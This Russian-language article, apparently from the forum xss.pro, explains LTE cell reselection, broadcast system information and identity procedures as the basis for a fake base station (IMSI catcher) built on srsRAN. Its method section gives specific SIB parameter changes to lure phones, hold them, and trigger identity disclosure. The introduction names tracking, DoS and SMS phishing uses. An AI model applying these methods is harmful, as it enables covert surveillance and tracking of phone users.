Статья Разработка прототипа ложной базовой станции LTE на базе платформы «srsRAN 4G» для идентификации абонентов.

evdo · 27.12.2025

Источник https://xss.pro
Автор evdo

Разработка прототипа ложной базовой станции LTE на базе платформы «srsRAN 4G» для идентификации абонентов.

1. Введение.
Ложные базовые станции (далее – ложные БС), также известные как «IMSI catchers» и «rogue BTS», представляют собой специализированные инструменты, предназначенные для сбора идентификаторов мобильных абонентов в сетях сотовой связи.
В стандарте LTE такие устройства эксплуатируют отсутствие аутентификации и шифрования в определенных служебных сообщениях, что позволяет осуществлять следующие действия:
1. Запрашивать у пользовательского оборудования (UE) уникальный постоянный идентификатор SIM-карты абонента (International Mobile Subscriber Identity, IMSI) для отождествления с ним его личности, отслеживания перемещения и выявления часто контактирующих лиц при помощи корреляции.
2. Проводить атаки типа «отказ в обслуживании» (Denial of Service, DoS) для отключения сигнализаций, трекеров, банковских приложений UE.
3. Инжектировать вредоносные SMS сообщения («shadow attacks») в трафик UE с целью фишинга и модификации сетевых настроек UE (Access Point Name, APN; proxy) для перенаправления трафика на ресурсы атакующего.
Несмотря на внедрение сетей нового поколения NR, многие операторы используют режим Non-Standalone (NSA) NR, где контекст безопасности основан на ядре LTE.
В результате уязвимости LTE сохраняют актуальность, особенно с учетом доступности современного оборудования на базе программно-определяемого радио (Software-Defined Radio, SDR), которое облегчает их эксплуатацию.

2. Обзор существующих исследований.
Проблематика ложных БС в контексте безопасности LTE привлекает значительное внимание исследователей с середины 2010-х годов, когда уязвимости стандарта стали предметом систематического анализа.
Одним из ранних фундаментальных исследований является работа «LTE and IMSI Catcher Myths» [1], в которой авторы анализируют распространённые заблуждения относительно иммунитета LTE к ложным БС и демонстрируют практические уязвимости в протоколах RRC и EMM.
Хотя работа упоминает модификации открытых инструментов «OpenLTE» и «srsLTE» для создания ложных БС, она не включает пошаговых инструкций по реализации прототипа и не предоставляет исходный код, ссылаясь на внешние отчеты для технических деталей.
Аналогичный подход наблюдается в отчете Electronic Frontier Foundation (EFF) «Gotta Catch 'Em All: Understanding How IMSI-Catchers Exploit Cell Networks» [2], где представлен обзор атак, включая сбор IMSI, перехват коммуникаций и атаки типа «отказ в обслуживании» в сетях стандарта GSM и LTE. Отчет детализирует эксплуатацию приоритетов частот и сообщений типа «Paging» для локализации UE, но фокусируется на описаниях и диаграммах, без конкретных шагов по реализации или кода.
В статье «LTE Phone Number Catcher: A Practical Attack against Mobile Privacy» [3] описан прототип для сбора и корреляции телефонных номеров MSISDN с IMSI в LTE с использованием SDR-приемников и коммерческих устройств. Хотя упоминается платформа «srsLTE», детальные шаги по реализации отсутствуют, а исходный код не предоставлен.
Работа «IMSI Catchers in the Wild: A Real World 4G/5G Assessment» [4] оценивает осуществимость атак в реальных сетях 4G/5G с использованием SDR-платформ USRP B210 и фреймворков «OpenAirInterface» и «srsLTE» для подделки сообщений типа TAU (Tracking Area Update) Reject и Service Reject. Авторы описывают портативный прототип на базе устройства Raspberry Pi 4 с подавителем сигналов, однако детальные инструкции по сборке или модификации кода отсутствуют.
Более поздние исследования, такие как «The Impact of IMSI Catcher Deployments on Cellular Network Security» [5], предоставляют анализ влияния ложных БС на безопасность 4G/5G, обсуждая вызовы и контрмеры, включая обнаружение аномалий в сетевых параметрах. Эти работы имеют много общего с предыдущими в анализе уязвимостей, но избегают детальной практической реализации, ограничиваясь теоретическими рекомендациями.
Самая недавняя публикация «FlashCatch: Minimizing Disruption in IMSI Catcher Operations» [6] представляет метод минимизации прерываний сервиса UE при захвате IMSI атакующим. Авторы применяют модифицированный код проекта «srsRAN» на базе SDR USRP B210, акцентируя ускорение фазы захвата IMSI через запрос «IDENTITY REQUEST» после «TAU/SERVICE REQUEST» и вызов процедуры отключения UE («DETACHMENT») через три намеренные неудачные аутентификации.
Несмотря на заявленную воспроизводимость, работа не включает исходный код или детальные шаги по реализации, ограничиваясь описаниями и экспериментами в контролируемой среде.

Обзор литературы показывает, что существующие работы в основном фокусируются на анализе уязвимостей протоколов, описании механизмов атак и разработке методов их обнаружения, но редко предоставляют детальные инструкции по созданию прототипов или открытый исходный код доработок. Отсутствие таких ресурсов мотивирует настоящее исследование, которое стремится заполнить этот пробел через практическую реализацию.

3. Постановка задачи исследования.
Целью настоящего исследования является разработка прототипа ложной базовой станции стандарта LTE, способного привлекать множественные UE и запрашивать их IMSI.
Для достижения цели решаются следующие задачи:
1. Изучение спецификаций 3GPP в части механизмов переключения сот (cell reselection), контекстов безопасности UE в режимах RRC_IDLE и RRC_CONNECTED, а также функций запроса идентификаторов UE сетью для разработки методов воздействия.
2. Выбор открытой платформы, обеспечивающей модифицируемость кода, совместимость с SDR-оборудованием и интеграцию в экспериментальные сценарии.
3. Анализ и доработка кода выбранной платформы для реализации предложенных методов, с последующей экспериментальной проверкой прототипа и оценкой результатов.

4. Разработка методов воздействия.
4.1 Режимы работы пользовательского оборудования в стандарте LTE.
RRC-соединение (Radio Resource Control connection) — это логическое соединение на уровне протокола Radio Resource Control (RRC) в стандарте LTE (E-UTRA), которое устанавливается между пользовательским оборудованием (UE) и базовой станцией (eNodeB). Оно обеспечивает управление радиоресурсами, включая конфигурацию каналов, измерения сигналов, «handover» (передачу обслуживания) и передачу сообщений верхнего уровня (NAS – Non-Access Stratum).
RRC-соединение переводит UE из режима ожидания (RRC_IDLE), где энергопотребление минимизировано и нет выделенных ресурсов, в режим активного соединения (RRC_CONNECTED), где возможна передача данных и сигнализации.
В режиме RRC_IDLE UE пассивно обрабатывает сигналы сети, а в режиме RRC_CONNECTED - активно взаимодействует с ней, с полной активацией контекста безопасности (шифрование и целостность).

4.1.1 Режим активного соединения (RRC_CONNECTED).
В режиме RRC_CONNECTED мониторинг доступных каналов и сот осуществляется под контролем сети, с учетом текущей топологии и нагрузки.
Сеть передает в адрес UE конфигурацию измерений (MeasConfig) в сообщении RRCConnectionReconfiguration (см. Рисунок 1), которая включает:

объекты измерений, такие как внутричастотные (intra-frequency), межчастотные (inter-frequency) и межсистемные (inter-RAT), а также списки сот для мониторинга (white-list для приоритетных и black-list для исключенных).
идентификаторы измерений (measId), связывающие объекты с конфигурацией отчетов.
конфигурацию отчетов (reportConfig), определяющую триггеры событий (A1–A6 для E-UTRAN, B1–B2 для inter-RAT, C1–C2 для CSI-RS) или периодический режим измерений, а также измеряемые величины (Reference Signal Received Power, RSRP; Reference Signal Received Quality, RSRQ).
дополнительные параметры, включая фильтрацию на уровне Layer 3 для сглаживания результатов, пороги качества (например, s-Measure для инициации измерений соседних сот) и конфигурацию временных пауз (measGapConfig) для прерывания передачи данных во время измерений на других частотах.

Рисунок 1. Содержание сообщения RRCConnectionReconfiguration с указанием триггера A3.

UE возвращает результаты в структуре MeasResults при срабатывании событий (например, A3: соседняя сота превосходит обслуживающую на заданное смещение) или в периодическом режиме.
На основе этих данных сеть инициирует процедуру эстафетной передачи вызова («handover»), обеспечивая бесшовный переход обслуживания UE к другой соте.

4.1.2 Режим ожидания (RRC_IDLE).
Чтобы лучше понять механизмы мониторинга и переключения в режиме RRC_IDLE, следует начать с введения в ключевые компоненты системной информации в LTE – Master Information Block (MIB) и System Information Blocks (SIB).

4.1.2.1 Master Information Block (MIB) и System Information Blocks (SIB) в стандарте LTE.
Эти блоки являются фундаментальными элементами, транслируемыми eNodeB (базовой станцией) для поддержки UE в процессах выбора сети, синхронизации и подключения (3GPP TS 36.331, 2023; 3GPP TS 36.211, 2023) [15, 19].
Они передаются в формате широковещательной передачи на канале Physical Broadcast Channel (PBCH) и других физических каналах, обеспечивая доступность для всех UE без предварительной аутентификации.
MIB представляет собой основной блок информации, содержащий сведения, необходимые для начальной синхронизации и декодирования последующих сообщений eNodeB: ширину полосы канала (cell bandwidth), конфигурацию Physical Hybrid ARQ Indicator Channel (PHICH) и System Frame Number (SFN). Без MIB UE не может корректно интерпретировать последующие блоки.
SIB, в свою очередь, представляют собой набор дополнительных блоков (SIB1–SIB13), расширяющих информацию из MIB и способствующих UE в выборе eNodeB, идентификации сети и управлении мобильностью. MIB и SIB интегрированы в общий процесс RRC и обеспечивают регистрацию UE на eNodeB в режиме ожидания («camping»).

4.1.2.1.1 Расписание передачи MIB и SIB.
Расписание передачи MIB и SIB оптимизировано для энергоэффективности UE, как показано в таблице 1.

Таблица 1.

Блок	Периодичность передачи	Подкадр/Кадр	Частота повторений	Цель
MIB	40 мс (каждые 10 мс в 4 радиокадрах)	Подкадр 0	4 раза в 40 мс	Начальная синхронизация, SFN, bandwidth
SIB1	80 мс	Подкадр 5	4 раза в 20 мс (в even SFN)	Доступ к сети, расписание других SIB
SIB2 – SIB13	Параметры расписания из сообщения SIB1 (si-Periodicity: 80 - 5120 мс)	SI-Window (из SIB1)	SI-Window (из SIB1)	Специфические конфигурации (ресурсы, мобильность, предупреждения).

UE может комбинировать повторения для повышения надежности декодирования («soft combining»).

Рисунок 1: Иерархия блоков MIB и SIB в процессе инициализации UE.

На основе спецификаций 3GPP TS 36.331 перечислим ключевые поля и цели для каждого типа SIB, значимые в контексте исследования. Далее рассмотрим их детально.

4.1.2.1.2 SIB1. Информация о доступе к сети.
Сообщение SIB1 содержит информацию о доступе к сети и расписании для других SIB (см. Рисунок 2).

Ключевые поля:

PLMN-IdentityList (до 6 PLMN, первый — primary);
trackingAreaCode (TAC);
cellIdentity (Cell ID);
cellBarred (статус доступа);
intraFreqReselection (разрешение на выбор другой eNodeB на текущем частотном канале);
q-RxLevMin (минимальный уровень сигнала);
q-QualMin (минимальное качество сигнала, опциональное поле);
p-Max (максимальная мощность UL);
freqBandIndicator (диапазон частот);
schedulingInfoList (расписание других SIB, включая si-Periodicity и sib-MappingInfo);
si-WindowLength (длина окна передачи);
systemInfoValueTag (тег для проверки изменений SI).

Рисунок 2. Пример содержимого сообщения SIB1.

4.1.2.1.3 SIB2. Конфигурация радиоресурсов.
Сообщение SIB2 содержит общую конфигурацию радиоресурсов для всех UE, включая конфигурацию общих и разделяемых каналов, RACH, таймеры и управление мощностью UL. Необходим для процедуры ATTACH.

Ключевые поля:

ac-BarringInfo (барьеры доступа для emergency, MO-signalling, MO-data);
radioResourceConfigCommon (конфигурация RACH: numberOfRA-Preambles, powerRampingParameters, ra-SupervisionInfo); bcch-Config (модификация периода);
pcch-Config (paging cycle);
prach-Config (конфигурация PRACH);
pdsch-Config/pusch-Config/pucch-Config (конфигурация PDSCH/PUSCH/PUCCH);
soundingRS-UL-Config (SRS);
uplinkPowerControl (управление мощностью UL);
ue-TimersAndConstants (таймеры);
freqInfo (UL частота и ширина полосы сигнала);
timeAlignmentTimerCommon (таймер выравнивания времени).

4.1.2.1.4 SIB3. Информация для перехода на новую соту.
SIB3 содержит общую информацию для перехода UE на новую соту в режимах intra-frequency, inter-frequency и inter-RAT, за исключением соседних сот на текущем частотном канале (см. Рисунок 3).

Ключевые поля:

cellReselectionInfoCommon (q-Hyst для гистерезиса, speedStateReselectionPars для скоростных параметров); cellReselectionServingFreqInfo (s-NonIntraSearch, threshServingLow, cellReselectionPriority);
intraFreqCellReselectionInfo (q-RxLevMin, s-IntraSearch, allowedMeasBandwidth, presenceAntennaPort1, neighCellConfig);
t-ReselectionEUTRA (таймер выбора eNodeB).

Рисунок 3. Пример содержимого сообщения SIB3.

4.1.2.1.5 SIB4. Информация о соседних сотах на текущем частотном канале.
SIB4 содержит информацию о кандидатах на переход из числа соседних сот на текущем частотном канале (intra-frequency), включая специфические параметры. Все поля опциональны, так как UE может обнаруживать сигналы соседних сот автоматически.

Ключевые поля:

intraFreqNeighCellList (список соседних сот с параметром q-OffsetCell);
intraFreqBlackCellList («черный список» сот).

4.1.2.1.6 SIB5. Информация о соседних сотах на других частотах.
SIB5 содержит информацию о кандидатах на переход из числа соседних сот на других частотных каналах (inter-frequency) и для процедуры «handover» (см. Рисунок 4).

Ключевые поля:

interFreqCarrierFreqList (список частот с параметрами q-RxLevMin, threshX-High/Low, q-OffsetFreq);
interFreqNeighCellList (список соседних сот);
interFreqBlackCellList («черный список» сот).

Рисунок 4. Пример содержимого сообщения SIB5.

4.1.2.1.7 SIB6. Информация о соседних сотах UTRA.
SIB6 содержит информацию о соседних сотах UTRA (UMTS) для перехода.

Ключевые поля:
carrierFreqListUTRA-FDD/TDD (частоты UTRA с параметрами q-RxLevMin, cellReselectionPriority, threshX-High/Low).

4.1.2.1.8 SIB7. Информация о соседних сотах GERAN.
SIB7 содержит информацию о соседних сотах GERAN (GSM) для перехода и процедуры «handover».

Ключевые поля: carrierFreqsInfoList (GERAN частоты, cellReselectionPriority, ncc-Permitted, q-RxLevMin).

4.1.2.1.9 SIB8–SIB13. Информация о соседних сетях и специальных функциях.
Блоки SIB8 – SIB13 предназначены для трансляции информации о соседних сотах CDMA2000, фемтосотах (Home eNodeB), уведомлений ETWS (Earthquake and Tsunami Warning System) и CMAS (Commercial Mobile Alert System), конфигурации MBSFN (Multicast Broadcast Single Frequency Network) для MBMS (Multimedia Broadcast Multicast Service).

Поскольку сообщения MIB и SIB передаются в открытом виде, их содержимое может быть подделано со стороны третьих лиц с целью оказания воздействия на UE.

4.1.2.2 Процесс переключения сот.
В режиме RRC_ IDLE UE самостоятельно управляет процессом переключения сот (cell reselection) на основе приоритетов и порогов, транслируемых в SIB.

Согласно стандарту, процедура включает следующие этапы:
1. Мониторинг обслуживающей соты.
UE непрерывно измеряет параметры RSRP (Qrxlevmeas) и RSRQ (Qqualmeas).
На основе этих значений рассчитываются критерии пригодности соты:
Srxlev = Qrxlevmeas (dBm) – Q-RxLevMin (dBm) (минимальный уровень RSRP из сообщения SIB1);
Squal = Qqualmeas (dB) – Q-QualMin (dB) (минимальное качество из сообщения SIB1).
Эти критерии определяют возможность регистрации UE на соте.

2. Измерение сигнала соседних сот.
Для оптимизации энергопотребления измерения ограничиваются порогами (3GPP TS 36.304, раздел 5.2.4.2) [16]:

внутричастотные: при Srxlev < s-IntraSearchP или Squal < s-IntraSearchQ (из сообщения SIB3).
межчастотные/inter-RAT: при Srxlev < s-NonIntraSearchP или Squal < s-NonIntraSearchQ (из сообщения SIB3).

При отсутствии порогов применяются значения по умолчанию, обеспечивая постоянные измерения.

3. Оценка критериев переключения.
Соты ранжируются по критерию R:
Rs (обслуживающая) = Qmeas,s + Q-Hyst (гистерезис из сообщения SIB3);
Rn (соседняя) = Qmeas,n – Q-Offset (смещение из SIB).
Переключение происходит, если Rn > Rs в течение t-ReselectionEUTRA (из сообщений SIB3 или SIB5) и сота соответствует критериям Srxlev/Squal по п.1.

4. Обработка приоритетов.
Приоритеты (0–7, где 7 — высший) присваиваются частотам/RAT (см. Рисунок 4, строка выделена синим).
UE всегда измеряет высокоприоритетные.
Переключение на высокоприоритетную соту возможно при Srxlev > threshX-HighP; на низкоприоритетную — при Srxlev обслуживающей < threshServingLowP и Srxlev соседней > threshX-LowP (из сообщения SIB5).

5. Игнорирование неподходящих сот.
UE учитывает только соты из сообщений SIB с соответствующими приоритетами.

4.1.3 Активная сигнализация UE при переключении на другую соту.
Согласно стандартам 3GPP, сигнализация от пользовательского оборудования (UE) к сети минимизирована для оптимизации энергопотребления и активируется только в случаях необходимости.
В режиме RRC_IDLE это происходит при выходе UE за пределы текущей области отслеживания (Tracking Area Code, TAC), что инициирует процедуру обновления области отслеживания (Tracking Area Update, TAU) в соответствии с TS 24.301 [17].
В режиме RRC_CONNECTED сигнализация активируется для обеспечения непрерывности сеанса связи через процедуру «handover», управляемую сетью на основе отчетов измерений от UE (TS 36.300, раздел 10.1.2; TS 36.331) [18].
Дополнительно, в сценариях Cellular Internet of Things (CIoT) применяются оптимизации типа Control Plane CIoT EPS Optimization, где сигнализация минимизирована за счет передачи данных по контрольной плоскости без установления пользовательского соединения в режиме IDLE (TS 24.301, раздел 5.3.15).
При межсистемной мобильности (inter-RAT mobility), например, при переходе к UTRAN, GERAN или 5G NR (через E-UTRA-NR Dual Connectivity, EN-DC), сигнализация включает назначение контекста и может требовать дополнительных процедур, таких как SRVCC (Single Radio Voice Call Continuity) для голосовых вызовов (TS 23.216).

4.1.4 Контекст безопасности UE в режимах RRC_IDLE и RRC_CONNECTED.
В стандарте LTE (EPS) контекст безопасности пользовательского оборудования (UE) определяется механизмами, обеспечивающими конфиденциальность, целостность и аутентификацию обмена данными между UE и сетью.
Эти механизмы реализуются на уровнях Access Stratum (AS) и Non-Access Stratum (NAS) в соответствии со спецификациями 3GPP TS 33.401 и TS 24.301.

Контекст безопасности активируется после успешной процедуры аутентификации и ключевого соглашения (Authentication and Key Agreement, AKA), генерируя ключи для шифрования и защиты целостности.
Уровень защиты варьируется в зависимости от режима работы протокола Radio Resource Control (RRC): в RRC_CONNECTED контекст безопасности полностью развернут, включая механизм «прямой секрестности» через цепочку Next Hop (NH) для предотвращения компрометации предыдущих ключей при процедуре «handover» (TS 33.401, раздел 7.2.8) [20]; в RRC_IDLE контекст частично сохранен, но не применяется к широковещательным сообщениям, что влияет на устойчивость UE к потенциальным угрозам.
В сценариях экстренных вызовов (emergency calls) или Limited Service Mode (LSM) допускается использование null-алгоритмов (EEA0/EIA0) без полной аутентификации, если процедура AKA не удалась (TS 33.401, раздел 15).

4.1.4.1 Контекст безопасности в режиме RRC_CONNECTED.
В режиме RRC_CONNECTED контексты безопасности AS и NAS полностью активированы и обеспечивают защиту сигнализации и пользовательских данных.
Процедура начинается с NAS-аутентификации (Authentication Request/Response), где UE и Mobility Management Entity (MME) обмениваются векторами аутентификации на основе корневого ключа K (из USIM).
Успешная аутентификация приводит к генерации промежуточных ключей: K_ASME (для NAS) и K_eNB (для AS), из которых вырабатываются ключи шифрования (K_NASenc, K_RRCenc, K_UPenc) и целостности (K_NASint, K_RRCint, K_UPint).
В интеграции с 5G через EN-DC защита целостности пользовательской плоскости (User Plane Integrity, K_UPint) является опциональной и определяется политикой MME (TS 33.401, раздел 7.3).

Защита применяется к следующим элементам:
1. Сигнализация RRC.
Сообщения, такие как RRCConnectionReconfiguration и MeasurementReport, защищены шифрованием (алгоритмы EEA, например, EEA1 на основе SNOW 3G) и проверкой целостности (алгоритмы EIA, например, EIA2 на основе AES). Это предотвращает модификацию конфигураций измерений или отчетов (TS 36.331, раздел 5.3.5).
2. Пользовательские данные.
Трафик в плоскости пользователя (User Plane, UP) шифруется с использованием K_UPenc, а целостность защищается опционально с K_UPint, особенно в EN-DC сценариях.
3. NAS-сообщения.
Инкапсулированные в RRC, они защищены на уровне NAS с использованием ключей K_NASenc и K_NASint, включая процедуры «ATTACH», «TAU» и «SERVICE REQUEST» (TS 24.301, раздел 5).

Контекст безопасности поддерживается счетчиками (NAS COUNT, PDCP COUNT) для защиты от replay-атак и обновляется при «handover» с генерацией нового K_eNB* из NH для обеспечения механизма «прямой секретности». В случае переполнения счетчиков (COUNT wrap-around) инициируется обновление ключей. В этом режиме UE требует верифицированного соединения, минимизируя риски несанкционированного доступа к идентификаторам или данным.

4.1.4.2 Контекст безопасности в режиме RRC_IDLE.
В режиме RRC_IDLE контекст безопасности NAS сохранен (после предыдущего соединения), но AS-контекст неактивен из-за отсутствия выделенных каналов. Это приводит к ограниченной защите: широковещательные сообщения (MIB, SIB, Paging) передаются в открытом виде без шифрования или защиты целостности, полагаясь на физический уровень для базовой аутентификации (например, через Primary/Secondary Synchronization Signals, PSS/SSS, для синхронизации; TS 36.211). UE может использовать сохраненный NAS-контекст для быстрого возобновления сервиса (например, в Service Request), но действия типа переключения соты обслуживания или первоначального подключения происходят без полной защиты. В чрезвычайных сценариях допускаются null-алгоритмы для обеспечения доступа (TS 33.401, раздел 15).

Ключевые аспекты:
а) После процедуры «Detach» или перехода в режим RRC_IDLE UE хранит K_ASME, eKSI (ключевой набор идентификаторов) и GUTI (Globally Unique Temporary Identifier), что позволяет избежать повторной аутентификации при возобновлении обслуживания (TS 33.401, раздел 7.2.5.1).
б) Процедуры, инициированные UE (например, ATTACH REQUEST с GUTI), используют частичную защиту («integrity protection» для сообщений, но без шифрования; TS 24.301, раздел 5.4.2); если контекст недействителен (например, сбой верификации), сеть запрашивает IMSI без защиты.
в) Поскольку SIB транслируются открыто, UE полагается на них для оценки сот без предварительной аутентификации, что делает процессы мониторинга и переключения к сотам зависимыми от потенциально ненадежных данных (TS 36.331, раздел 5.2.2).

4.1.4.3 Сравнение контекстов безопасности
В режиме RRC_IDLE акцент на энергоэффективности приводит к минимизации сигнализации, но снижает уровень защиты по сравнению с RRC_CONNECTED, особенно в сценариях начального подключения, переключения сот или экстренных вызовов.

Для наглядности ключевые различия представлены в таблице 2:

Таблица 2.

Аспект	RRC_CONNECTED	RRC_IDLE
Аутентификация	Полная	Сохраненная (на основе GUTI/eKSI); полная AKA требуется, если контекст утерян или недействителен.
Шифрование	Полное (для RRC, UP, NAS; алгоритмы EEA).	Отсутствует для MIB/SIB/Paging; частичное для NAS-сообщений (опционально).
Целостность	Полная (EIA для всех сообщений, включая опциональную UP integrity в EN-DC).	Отсутствует для MIB/SIB/Paging; частичная для NAS (целостность сообщений).
Ключи	Активны K_eNB, K_RRCenc/int, K_UPenc/int; механизм «прямой секретности» через цепочку NH.	Сохранены K_ASME и производные, но не применяются к AS.
Устойчивость к угрозам	Высокая (защита от подмены, replay-атак; обновление ключей при переполнении счетчиков).	Низкая для широковещательных сигналов; NAS устойчив через сохраненные COUNT, но уязвим для раскрытия IMSI.

Этот анализ подчеркивает, что режим RRC_IDLE, ориентированный на пассивный мониторинг, предоставляет меньше барьеров для внешних воздействий на процессы мобильности UE по сравнению с активным режимом RRC_CONNECTED.

4.2 Функции запроса идентификаторов UE со стороны сети связи.

В стандарте LTE функции запроса идентификаторов пользовательского оборудования (UE) со стороны сети связи реализуются в рамках протокола Non-Access Stratum (NAS), в частности, в подслое EPS Mobility Management (EMM). Функции позволяют сети получать уникальные идентификаторы UE, такие как International Mobile Subscriber Identity (IMSI), International Mobile Equipment Identity (IMEI) или IMEI Software Version (IMEISV), для целей аутентификации, авторизации, управления мобильностью и установления сеансов связи. Процедура идентификации представляет собой общую процедуру EMM и детально описана в спецификации 3GPP TS 24.301, раздел 5.4.4.

4.2.1 Обзор процедуры идентификации.
Процедура идентификации инициируется сетью (в частности, элементом Mobility Management Entity, MME) для запроса постоянных или временных идентификаторов UE.
Процедура идентификации инициируется сетью, в частности, элементом Mobility Management Entity (MME), для запроса постоянных или временных идентификаторов UE. Она может применяться в различных состояниях EMM, включая EMM-REGISTERED, EMM-REGISTERED.INITIATED, EMM-DEREGISTERED и других, где существует NAS-сигнальное соединение (NAS signalling connection). Идентификаторы, такие как IMSI (постоянный идентификатор абонента, извлекаемый из USIM), IMEI или IMEISV (идентификаторы оборудования, извлекаемые из UE), используются для верификации UE.
Процедура интегрируется с другими процессами EMM, такими как «ATTACH», «TAU» и «SERVICE REQUEST», а также косвенно связана с EPS Session Management (ESM) для активации контекстов носителей.
Сообщения процедуры могут быть защищены шифрованием и проверкой целостности в зависимости от наличия контекста безопасности.
В случаях отсутствия контекста безопасности (например, при «EMERGENCY ATTACH») сообщения могут передаваться незащищенными.

4.2.2 Сообщения процедуры.
Процедура использует два основных сообщения NAS: IDENTITY REQUEST (от сети к UE) и IDENTITY RESPONSE (от UE к сети).
Сообщения инкапсулированы в протоколе NAS в соответствии с 3GPP TS 24.007 и описаны в TS 24.301 (разделы 8.2.18 и 8.2.19).

4.2.2.1 IDENTITY REQUEST.
(направление: сеть → UE; тип: EMM; message type: 0101 0101 бинарный, или 0x55 в шестнадцатеричном формате).
Сообщение отправляется MME для запроса конкретного типа идентификатора.
Оно может быть незащищенным при отсутствии контекста безопасности или защищенным с использованием ключей, производных от K_ASME и eKSI.

Ключевые информационные элементы (IE) в соответствии с таблицей 8.2.18.1 TS 24.301:

«Protocol discriminator» (обязательный, V, 1/2 октета): 9.2.
«Security header type» (обязательный, V, 1/2 октета): 9.3.1.
«Identity request message identity» (обязательный, V, 1 октет): 9.8.
«Identity type» (обязательный, V, 1/2 октета): 9.9.3.17; определяет тип запрашиваемого идентификатора (bits 3-1: 001 – IMSI, 010 – IMEI, 011 – IMEISV, 100 – TMSI; все остальные значения зарезервированы; кодирование в соответствии с 3GPP TS 23.003 и TS 24.008 (2023)).
«Spare half octet» (обязательный, V, 1/2 октета): 9.9.2.9.

Рисунок 5. Пример сообщения IDENTITY REQUEST.

4.2.2.2 IDENTITY RESPONSE.
(направление: UE → сеть; тип: EMM; message type: 0101 0110 бинарный, или 0x56 в шестнадцатеричном формате).
UE отвечает этим сообщением, предоставляя запрошенный идентификатор. В случае невозможности предоставления идентификатора (например, отсутствие USIM) UE может указать «no identity» или отклонить процедуру с соответствующим кодом причины EMM.

Ключевые IE в соответствии с таблицей 8.2.19.1 TS 24.301:

«Protocol discriminator» (обязательный, V, 1/2 октета): 9.2.
«Security header type» (обязательный, V, 1/2 октета): 9.3.1.
«Identity response message identity» (обязательный, V, 1 октет): 9.8.
«Mobile identity» (обязательный, TLV, 3–12 октетов): 9.9.3.28; содержит значение идентификатора (IMSI как 15-значную BCD-строку с индикацией четности; IMEI как 15 цифр с индикацией четности; IMEISV как 16 цифр; TMSI как 4 октета; кодирование с маркерами конца и типом в соответствии с TS 24.008 (2023), clause 10.5.1.4).

Рисунок 6. Пример сообщения IDENTITY RESPONSE.

4.2.3 Триггеры инициации и порядок выполнения.
Процедура инициируется сетью в сценариях, когда идентификатор UE недоступен, требует верификации или не может быть получен из временных идентификаторов (например, GUTI):
1. В процессе «ATTACH»: после получения «ATTACH REQUEST» с недействительным GUTI, после аутентификации или в случае отказа (EMM cause #9 «UE identity cannot be derived by the network»).
2. В процедуре TAU: при недействительном GUTI, несоответствии eKSI, сбое проверки целостности или во время комбинированного обновления TA/LA update.
3. В «Service request»: при потере контекста UE или для предоставления экстренных сервисов.
4. В процедурах безопасности: после «SECURITY MODE COMMAND» для запроса IMEISV или после сбоя аутентификации.
5. В других случаях: при роуминговых ограничениях, обновлении возможностей UE или во время процедуры «handover» (например, для SRVCC, где требуется IMEI).

Порядок выполнения процедуры (см. раздел 5.4.4.1 в TS 24.301):
1. MME отправляет сообщение IDENTITY REQUEST UE с указанием типа идентификатора и запускает таймер T3470 (6 с, максимум 5 повторных передач).
2. UE извлекает запрошенный идентификатор (IMSI из USIM, IMEI/IMEISV из оборудования) и возвращает его в сообщении IDENTITY RESPONSE.
3. MME обрабатывает ответ, проводит верификацию и продолжает текущий EMM-процесс (например, «ATTACH ACCEPT» или «TAU ACCEPT»).

В аномальных случаях («abnormal cases», раздел 5.4.4.4 TS 24.301):

на стороне сети: при таймауте T3470 процедура прерывается, NAS-соединение может быть освобождено, с возвратом кода причины EMM cause (например, #3 «Illegal UE» или #6 «Illegal ME»).
на стороне UE: при отказе на других уровнях соединения или невозможности предоставить идентификатор – отправка IDENTITY RESPONSE с пустым значением или отклонение.

Процедура обеспечивает совместимость с оптимизациями для CIoT и NB-IoT, где возможны модификации для снижения сигнализации, но базовая логика остается неизменной.

4.3 Методы привлечения UE к ложной станции и сбора IMSI.
На основе анализа режимов работы UE (раздел 4.1) и процедур запроса идентификаторов (раздел 4.2), предлагаются методы эксплуатации уязвимостей протокола LTE, связанных с отсутствием аутентификации широковещательных сообщений в режиме RRC_IDLE (3GPP TS 33.401). Методы обеспечивают привлечение UE к ложной БС путем манипуляции параметрами системной информации и последующий сбор IMSI через инициацию сигнализации.

4.3.1 Этап привлечения UE.
Для обеспечения превосходства ложной БС над легитимными сотами применяется математическая модель ранжирования, определенная в 3GPP TS 36.304 (раздел 5.2.4.6): Rn = Qmeas,n – q-Offset, где Qmeas,n – измеренный RSRP соседней соты.
Первоначально в рамках эксперимента рекомендуется размещение оборудования ложной БС вблизи целевых UE или использование усиления мощности передачи для повышения Qmeas,n.
Частотный канал ложной БС следует выбирать в соответствии с наивысшим приоритетом легитимной сети (cellReselectionPriority из SIB5).

Далее следует модифицировать параметры системных информационных блоков ложной БС относительно значений легитимной сети, эксплуатируя отсутствие аутентификации и шифрования в широковещательных сообщениях в режиме RRC_IDLE (3GPP TS 33.401, 2023):
q-RxLevMin (SIB1) — установить значение ниже легитимного, например, -130 dBm вместо типичного -122 dBm, что позволит снизить порог пригодности соты (Srxlev = Qrxlevmeas – q-RxLevMin).
Ложная БС будет считаться предпочтительной даже при относительно слабом сигнале и иметь преимущество над легитимными сотами с более строгими порогами.
q-QualMin (SIB1) — аналогично, установить значение ниже легитимного, например, -24 dB вместо -18 dB, для снижения порога качества в критерии Squal = Qqualmeas – q-QualMin, делая ложную БС приемлемой при ухудшенном RSRQ.
trackingAreaCode (SIB1) — изменить на любое значение, не совпадающее с текущим TAC UE (например, на отличное от легитимного на единицу), провоцируя процедуру TAU (3GPP TS 24.301, 2023, раздел 5.5.3).
Такие модификации стимулируют самостоятельное переключение UE на ложную БС в режиме RRC_IDLE без активной сигнализации.

4.3.2 Этап удержания UE и инициации сбора IMSI.
После успешного переключения UE использует SIB ложной БС для дальнейших измерений.

Для предотвращения возврата к легитимным сотам предлагается:
cellReselectionPriority (в SIB3/5) — установить максимальное значение «7», обеспечивая приоритетные измерения (TS 36.304, раздел 5.2.4.1).
s-IntraSearchP/Q, s-NonIntraSearchP/Q (SIB3) — установить значения ниже легитимных для постоянного мониторинга окружающих сот, но с положительным q-OffsetFreq (SIB5) для повышения Rn ложной БС.
t-ReselectionEUTRA (SIB3/SIB5) — установить минимальное значение (0–1 с) для ускорения переключения UE.

Изменение TAC инициирует TAU - UE переходит в режим RRC_CONNECTED, отправляя сообщение RRCConnectionRequest (establishmentCause = mo-Signalling; 3GPP TS 36.331, 2023).
Ложная БС отвечает сообщением RRCConnectionSetup, UE – RRCConnectionSetupComplete с инкапсулированным NAS-сообщением TAU Request (с GUTI, если доступен).
